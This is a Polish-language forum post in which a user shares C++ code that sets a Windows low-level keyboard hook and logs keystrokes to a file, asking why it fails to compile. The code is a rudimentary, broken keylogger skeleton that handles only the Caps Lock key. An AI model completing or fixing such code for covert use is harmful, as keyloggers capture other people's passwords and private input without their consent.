Cześć Wam!

Napisałem taki kod:
Kod:
#include <iostream>
#include <windows.h>
#include <fstream>
using namespace std;
ofstream out("plik.txt", ios::out);
fstream plik;
LRESULT CALLBACK keyboardHookProc(int nCode, WPARAM wParam, LPARAM lParam)
{
 PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT) (lParam);

    if(wParam==WM_KEYDOWN)
 {
   switch (p->vkCode)

   {
       case  VK_CAPITAL:
          if(GetAsyncKeyState(VK_LSHIFT) | (GetAsyncKeyState(VK_RSHIFT))
             plik << "CAPITAL";
             else
                plik << "capital";
                 break;

   }
 }
 return CallNextHookEx(NULL, nCode, wParam, lParam);
}


int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
{
    MSG msg;
    HHOOK keyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, keyboardHookProc, GetModuleHandle(0), 0);

    while(GetMessage(&msg, NULL, 0,0))
    {
        TranslateMessage(&msg);
        DispatchMessage(&msg);
        return msg.wParam;
    }

}


wyskakuje mi 1 błąd mianowicie:
error: expected ')' before 'plik'|
czy ktoś wie co jest źle ?